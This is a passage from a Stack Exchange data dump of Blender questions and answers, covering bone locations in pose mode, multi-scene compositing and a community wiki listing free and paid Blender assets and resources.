Tags="&lt;python&gt;&lt;operator&gt;&lt;bmesh&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15353" PostTypeId="1" CreationDate="2014-08-28T08:39:45.840" Score="7" ViewCount="7329" Body="&lt;p&gt;I have a bone and I need to get the location of its head and tail. I know that I can search for the corresponding edit_bone, but this list is only filled in edit mode. Is there a way to get both locations from within pose mode?&lt;/p&gt;&#xA;" OwnerUserId="2478" LastEditorUserId="2217" LastEditDate="2014-10-23T17:55:25.637" LastActivityDate="2014-10-23T20:27:27.427" Title="Get the location in world coordinates of a bone's head and tail while in pose mode" Tags="&lt;python&gt;&lt;transforms&gt;&lt;bones&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15354" PostTypeId="2" ParentId="15286" CreationDate="2014-08-28T09:02:25.940" Score="8" Body="&lt;p&gt;You can use multiple scenes:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a new scene by pressing the + at the top of the screen and selecting &lt;em&gt;Link Objects&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/091UY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will link the objects into a new scene. This way modifying an object will change it in both scenes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the new scene, select the refractive object and pres &lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;&gt; Object&lt;/em&gt;. Now the refractive object in the new scene is no longer linked to the refractive object in the old scene, but the object &lt;em&gt;data&lt;/em&gt; is still linked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This mostly means that changes to the object transforms will not be copied between scenes, but changes to object data like materials and UV maps etc. will.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Still in the new scene, set the material to be stored in the &lt;em&gt;object&lt;/em&gt;, not the object &lt;em&gt;data&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O5lU0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the object is local to each scene, by setting the material to be stored in the object, we can now set the material individually for both scenes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remove the refractive material and add the reflective material. I made the reflective material slightly transparent with &lt;em&gt;mask&lt;/em&gt; transparency so that it doesn't completely replace the refractive image they are combined, but you can do this in compositing too.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Still in the new scene, set the &lt;em&gt;alpha&lt;/em&gt; to &lt;em&gt;Transparent&lt;/em&gt; in &lt;em&gt;Render settings &gt; Shading&lt;/em&gt;, so the the sky is rendered as transparent alpha:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GYyDQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You only need to do this for the new scene.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the old scene, add some composite nodes to combine the results of both scenes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zd0j9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't really matter which scene you put the composite nodes in, but I like to keep everything in the &quot;base&quot; or &quot;bottom&quot; scene on top of which everything is overlaid. Just remember to render from the scene with the composite nodes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Render. Both scenes should automatically render and combine.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nNqtX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;&lt;a href=&quot;http://www.pasteall.org/blend/31231&quot; rel=&quot;noreferrer&quot;&gt;Example .blend&lt;/a&gt;&lt;/h1&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-08-28T09:02:25.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15355" PostTypeId="1" CreationDate="2014-08-28T09:05:20.867" Score="136" ViewCount="38722" Body="&lt;p&gt;Since asking for tutorials, videos, resources, links to other content or downloads is considered off topic here, this is a specifically created Community Wiki which gathers resources for Blender and it has been approved by the &lt;a href=&quot;https://blender.meta.stackexchange.com/questions/410/should-we-have-a-few-questions-on-resources-for-use-with-blender&quot;&gt;Community&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just write in the appropriate answer/section. If you have concerns, questions, post a &lt;a href=&quot;https://blender.meta.stackexchange.com/&quot;&gt;meta&lt;/a&gt; question, so we don't clutter the comments, but you can link your meta question from the comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Questions regarding such resources are not allowed anymore, except for very specific and on topic requests (ask on &lt;a href=&quot;https://blender.meta.stackexchange.com/&quot;&gt;Meta&lt;/a&gt; if you're unsure about your question). Follow the instructions made in the question about how to post, what can be posted, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Learning&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/30581/1853&quot;&gt;Official Documentation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/15355/resources-for-blender/32990#32990&quot;&gt;Blender Communities and forums&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/15355/resources-for-blender/32990#32990&quot;&gt;Blogs&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/15376/599&quot;&gt;Online courses&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/16104/599&quot;&gt;Books&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Assets&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/15361/599&quot;&gt;Materials&lt;/a&gt; (also see: &lt;a href=&quot;https://blender.stackexchange.com/q/5593/599&quot;&gt;Any good free materials libraries online?&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/15358/599&quot;&gt;Textures, HDR environment maps, and photos&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/15360/599&quot;&gt;Models&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Reference Images/Blueprints (also see: &lt;a href=&quot;https://blender.stackexchange.com/q/5322/599&quot;&gt;Where are some places to get reference images for modeling?&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/15357/599&quot;&gt;Sounds&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tools&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/15356/599&quot;&gt;Addons&lt;/a&gt; (also see: &lt;a href=&quot;https://blender.stackexchange.com/q/1342/599&quot;&gt;Resource for Blender addons?&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/15362/599&quot;&gt;External Tools&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/15363/599&quot;&gt;Render engines&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/15365/599&quot;&gt;Rendering services&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Other&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Special Interest (&lt;a href=&quot;https://blender.stackexchange.com/q/7657/599&quot;&gt;Blender resources for architects?&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/15401/599&quot;&gt;Themes&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/15355/resources-for-blender/135314#135314&quot;&gt;Mathematics&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also see the &lt;a href=&quot;https://blender.meta.stackexchange.com/q/40/599&quot;&gt;beginner's reference&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="26345" LastEditDate="2019-03-26T00:23:33.980" LastActivityDate="2021-04-21T16:58:34.487" Title="Resources for Blender" Tags="&lt;documentation&gt;" AnswerCount="17" CommentCount="11" FavoriteCount="182" CommunityOwnedDate="2014-08-28T18:23:26.890" ContentLicense="CC BY-SA 4.0" />
  <row Id="15356" PostTypeId="2" ParentId="15355" CreationDate="2014-08-28T09:06:50.200" Score="16" Body="&lt;h2&gt;Addons&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts&quot; rel=&quot;nofollow noreferrer&quot;&gt;Official Addons Catalog&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blenderaddonlist.blogspot.de/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Addon List&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blendernation.com/category/blender/add-ons/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Community addons featured on Blendernation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blenderartists.org/forum/forumdisplay.php?48-Released-Scripts-and-Themes&quot; rel=&quot;nofollow noreferrer&quot;&gt;BlenderArtists&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://cgcookiemarkets.com/blender/all-products/category/scripts-and-addons/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Market&lt;/a&gt; (non-free)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gumroad.com/discover&quot; rel=&quot;nofollow noreferrer&quot;&gt;Gumroad&lt;/a&gt; - search for Blender (mostly non-free)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="7777" LastEditDate="2018-06-14T08:40:37.653" LastActivityDate="2018-06-14T08:40:37.653" CommentCount="0" CommunityOwnedDate="2014-08-28T09:06:50.200" ContentLicense="CC BY-SA 4.0" />
  <row Id="15357" PostTypeId="2" ParentId="15355" CreationDate="2014-08-28T09:08:47.640" Score="13" Body="&lt;h2&gt;Sounds&lt;/h2&gt;&#xA;&#xA;&lt;h3&gt;Ambient and Songs&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://soundcloud.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Soundcloud&lt;/a&gt; has many free downloadable audio tracks, the &lt;a href=&quot;https://soundcloud.com/terms-of-use#grant-of-license&quot; rel=&quot;nofollow noreferrer&quot;&gt;terms of use&lt;/a&gt; mention optional Creative Commons, but these files seem to be rare.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://youtube.com/audiolibrary/music&quot; rel=&quot;nofollow noreferrer&quot;&gt;YouTube Audio Library&lt;/a&gt; contains Creative Commons and royalty-free music&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://incompetech.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;INCOMPTECH&lt;/a&gt; Creative Commons music&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://dig.ccmixter.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;CCMixter&lt;/a&gt; Creative Commons music&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Sound Effects&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.freesound.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Freesound&lt;/a&gt; Has a large collection of sound effects.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.freesfx.co.uk/&quot; rel=&quot;nofollow noreferrer&quot;&gt;FreeSFX&lt;/a&gt; has a medium(ish) collection of free sounds. (Registration required)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/audiolibrary/soundeffects&quot; rel=&quot;nofollow noreferrer&quot;&gt;YouTube Audio Library&lt;/a&gt; contains royalty-free sound effects&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Game Sounds&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://code.google.com/p/sfxr/downloads/list&quot; rel=&quot;nofollow noreferrer&quot;&gt;sfxr&lt;/a&gt; Is a simple sound effect generator&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.bfxr.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bfxr&lt;/a&gt; Is is an elaboration of sfxr and has a web interface which allows download of created effect.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://opengameart.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;OpenGameArt.org&lt;/a&gt;: sound effects, music, and more. Various licenses.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;" OwnerUserId="29" LastEditorUserId="15924" LastEditDate="2020-05-13T14:02:13.477" LastActivityDate="2020-05-13T14:02:13.477" CommentCount="2" CommunityOwnedDate="2014-08-28T09:08:47.640" ContentLicense="CC BY-SA 4.0" />
  <row Id="15358" PostTypeId="2" ParentId="15355" CreationDate="2014-08-28T09:13:35.153" Score="47" Body="&lt;p&gt;&lt;sub&gt;Every section listed alphabetically&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Textures&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.cc0textures.com&quot; rel=&quot;noreferrer&quot;&gt;CC0Textures&lt;/a&gt; CC0/Public domain license&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.textures.com&quot; rel=&quot;noreferrer&quot;&gt;CG Textures&lt;/a&gt; License covers commercial use, but not open source software. *&lt;em&gt;Registration required, free at low resolutions*&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.goodtextures.com&quot; rel=&quot;noreferrer&quot;&gt;Good Textures&lt;/a&gt; Similar to CG textures, but with a more lenient license. *&lt;em&gt;Registration required*&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.lovetextures.com&quot; rel=&quot;noreferrer&quot;&gt;Lovetextures&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://mayang.com/textures&quot; rel=&quot;noreferrer&quot;&gt;Mayang's Textures&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.nordicfx.net/?works=free-textures&quot; rel=&quot;noreferrer&quot;&gt;nordicfx&lt;/a&gt; non-commercial&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://opengameart.org/textures/all&quot; rel=&quot;noreferrer&quot;&gt;OpenGameArt&lt;/a&gt; CC-BY&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://community.renderman.pixar.com/article/114/library-pixar-one-twenty-eight.html&quot; rel=&quot;noreferrer&quot;&gt;Pixar 128 Library&lt;/a&gt; 128 textures with normal and height maps originally made by Pixar Studio in 1993 and updated in 2015, CC BY 4.0&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.pixplant.com/pixfinder.php&quot; rel=&quot;noreferrer&quot;&gt;PixPlant's Seed Images&lt;/a&gt; Various licenses&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.plaintextures.com&quot; rel=&quot;noreferrer&quot;&gt;Plain Textures&lt;/a&gt; *&lt;em&gt;Registration required*&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.poliigon.com/&quot; rel=&quot;noreferrer&quot;&gt;Poliigon&lt;/a&gt; Paid registration required for high resolution versions; several high resolution free textures available&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.sharetextures.com/&quot; rel=&quot;noreferrer&quot;&gt;Share Textures&lt;/a&gt; Collection of CC0 textures&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://subtlepatterns.com&quot; rel=&quot;noreferrer&quot;&gt;Subtle Patterns&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://textures.thefree3dmodels.com&quot; rel=&quot;noreferrer&quot;&gt;Textures.TheFree3DModels&lt;/a&gt; Attribution required Noncommercial&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://texturebits.blogspot.com&quot; rel=&quot;noreferrer&quot;&gt;Texturebits&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://texturehaven.com/&quot; rel=&quot;noreferrer&quot;&gt;TextureHaven&lt;/a&gt; CC0&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://texturelib.com/&quot; rel=&quot;noreferrer&quot;&gt;Texture lib&lt;/a&gt; free for commercial and none commercial use, license is very lenient&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.texturemate.com&quot; rel=&quot;noreferrer&quot;&gt;Texture Mate&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://texture.ninja/&quot; rel=&quot;noreferrer&quot;&gt;Texture Ninja&lt;/a&gt; A collection of CC0 textures &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.texturepilot.com&quot; rel=&quot;noreferrer&quot;&gt;texture pilot&lt;/a&gt; *&lt;em&gt;Registration required*&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.texturex.com&quot; rel=&quot;noreferrer&quot;&gt;Texture X&lt;/a&gt; Free high resolution textures.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://yethiel.wordpress.com/cc0-textures/&quot; rel=&quot;noreferrer&quot;&gt;Yethiel's Collection of Textures&lt;/a&gt; Various textures collected by an individual with CC0 license&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.3dmd.net&quot; rel=&quot;noreferrer&quot;&gt;3dmd.net&lt;/a&gt;  Small library and no high resolution&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://3dtextures.me/&quot; rel=&quot;noreferrer&quot;&gt;3DTextures&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;HDR/JPEG Skydome Images&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://hdrihaven.com&quot; rel=&quot;noreferrer&quot;&gt;HDRI Haven&lt;/a&gt; CC0 &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://adaptivesamples.com/category/hdr-panos&quot; rel=&quot;noreferrer&quot;&gt;Adaptive Samples&lt;/a&gt; CC-BY-SA.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://store.chocofur.com/search/hdr&quot; rel=&quot;noreferrer&quot;&gt;Chocofur HDRs&lt;/a&gt; High quality paid HDRs; one free available &lt;a href=&quot;https://store.chocofur.com/free-hdr-map-01&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://giantcowfilms.com/category/hdrs/&quot; rel=&quot;noreferrer&quot;&gt;GiantCowFilms.com&lt;/a&gt; CC0/Public Domain&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.hdri-hub.com/free-samples&quot; rel=&quot;noreferrer&quot;&gt;HDRI Hub&lt;/a&gt; Free Samples&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://resources.maxwellrender.com/news_scripts.php?t=4&quot; rel=&quot;noreferrer&quot;&gt;Maxwell render resources&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.mrbluesummers.com/category/downloads/downloads-textures-materials&quot; rel=&quot;noreferrer&quot;&gt;MrBluesummers&lt;/a&gt; HDR lights.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://noemotionhdrs.net&quot; rel=&quot;noreferrer&quot;&gt;NoEmotion HDRs&lt;/a&gt; High resolution HDRs; CC-BY-ND&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.nordicfx.net/?works=hdri&quot; rel=&quot;noreferrer&quot;&gt;nordicfx&lt;/a&gt; non-commercial&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.openfootage.net/?cat=15&quot; rel=&quot;noreferrer&quot;&gt;Open Footage&lt;/a&gt; CC-BY&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.philohome.com/skycollec/skycollec.htm&quot; rel=&quot;noreferrer&quot;&gt;Philo's Sky Collection&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.hdrlabs.com/sibl/archive.html&quot; rel=&quot;noreferrer&quot;&gt;sIBL hdrlabs&lt;/a&gt; CC-BY-SA&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?24038-Free-high-res-skymaps-(Massive-07-update!)&quot; rel=&quot;noreferrer&quot;&gt; 0ptikz's skies&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Stock Photos&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://photos.bucketlistly.com/&quot; rel=&quot;noreferrer&quot;&gt;BucketListly&lt;/a&gt; CC-BY-NC&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://foter.com/&quot; rel=&quot;noreferrer&quot;&gt;Foter&lt;/a&gt; Various CC Licenses&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.freeimages.com/&quot; rel=&quot;noreferrer&quot;&gt;FreeImages&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://imageafter.com/&quot; rel=&quot;noreferrer&quot;&gt;Image After&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.immediateentourage.com/&quot; rel=&quot;noreferrer&quot;&gt;Immediate Entourage&lt;/a&gt; many masked images&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.loc.gov/pictures/&quot; rel=&quot;noreferrer&quot;&gt;Library of Congress&lt;/a&gt; Public Domain&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://morguefile.com/&quot; rel=&quot;noreferrer&quot;&gt;MorgueFile&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://openclipart.org/&quot; rel=&quot;noreferrer&quot;&gt;openclipart&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.openimages.eu/media&quot; rel=&quot;noreferrer&quot;&gt;OpenImages&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.pexels.com/&quot; rel=&quot;noreferrer&quot;&gt;Pexels&lt;/a&gt; CC0&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.pixabay.com/&quot; rel=&quot;noreferrer&quot;&gt;Pixabay&lt;/a&gt; free, but with some restrictions&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.pond5.com/free&quot; rel=&quot;noreferrer&quot;&gt;Pond5&lt;/a&gt; *&lt;em&gt;Registration required*&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://photopin.com/&quot; rel=&quot;noreferrer&quot;&gt;PhotoPin&lt;/a&gt; Various CC Licenses&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://publicdomainpictures.net/&quot; rel=&quot;noreferrer&quot;&gt;PublicDomainPictures&lt;/a&gt; reduced resolution free, Public Domain&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.stockvault.net/&quot; rel=&quot;noreferrer&quot;&gt;Stockvault&lt;/a&gt; non-commercial&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.rawpixel.com/&quot; rel=&quot;noreferrer&quot;&gt;Rawpixel&lt;/a&gt; free for commercial&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://unsplash.com/&quot; rel=&quot;noreferrer&quot;&gt;Unsplash&lt;/a&gt; CC0&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.ars.usda.gov/News/docs.htm?docid=23559&quot; rel=&quot;noreferrer&quot;&gt;USDA&lt;/a&gt; Public Domain&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.navy.mil/viewGallery.asp&quot; rel=&quot;noreferrer&quot;&gt;US Navy&lt;/a&gt; Public Domain&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://visibleearth.nasa.gov/&quot; rel=&quot;noreferrer&quot;&gt;Visible earth NASA&lt;/a&gt; Public Domain&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://freetextures.3dtotal.com/index.php&quot; rel=&quot;noreferrer&quot;&gt;3dtotal&lt;/a&gt; some textures too&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://pxhere.com&quot; rel=&quot;noreferrer&quot;&gt;Pxhere&lt;/a&gt; Free stock photos&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="14701" LastEditDate="2020-01-09T13:53:43.537" LastActivityDate="2020-01-09T13:53:43.537" CommentCount="0" CommunityOwnedDate="2014-08-28T09:13:35.153" ContentLicense="CC BY-SA 4.0" />
  <row Id="15359" PostTypeId="1" CreationDate="2014-08-28T09:15:15.993" Score="1" ViewCount="75" Body="&lt;p&gt;I'd like to update a list of markers [name,frame] everytime the user moves or deletes a marker. Yet, I couldn't find a solution using Handlers, but I have the feeling that it is possible...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The user's actions I'd like to monitor appear in the top info window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For example :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;bpy.ops.marker.move(frames=-1512)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any hint ? Thanks a lot !&lt;/p&gt;&#xA;" OwnerUserId="5482" LastEditorUserId="5482" LastEditDate="2014-08-28T09:20:26.723" LastActivityDate="2014-08-29T06:26:39.400" Title="Do something after user moves a marker" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15360" PostTypeId="2" ParentId="15355" CreationDate="2014-08-28T09:16:27.210" Score="18" Body="&lt;h2&gt;Models&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.blendswap.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blendswap&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.blender-models.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender models&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.blenderkit.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;BlenderKit add-on&lt;/a&gt; (for 2.8, commercial but with some free stuff)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://blender-archi.tuxfamily.org/Models&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender for Architecture&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://store.chocofur.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Chocofur&lt;/a&gt; Wide variety of high quality blend files made for Cycles and Blender; freebies at &lt;a href=&quot;https://store.chocofur.com/search/free&quot; rel=&quot;nofollow noreferrer&quot;&gt;this 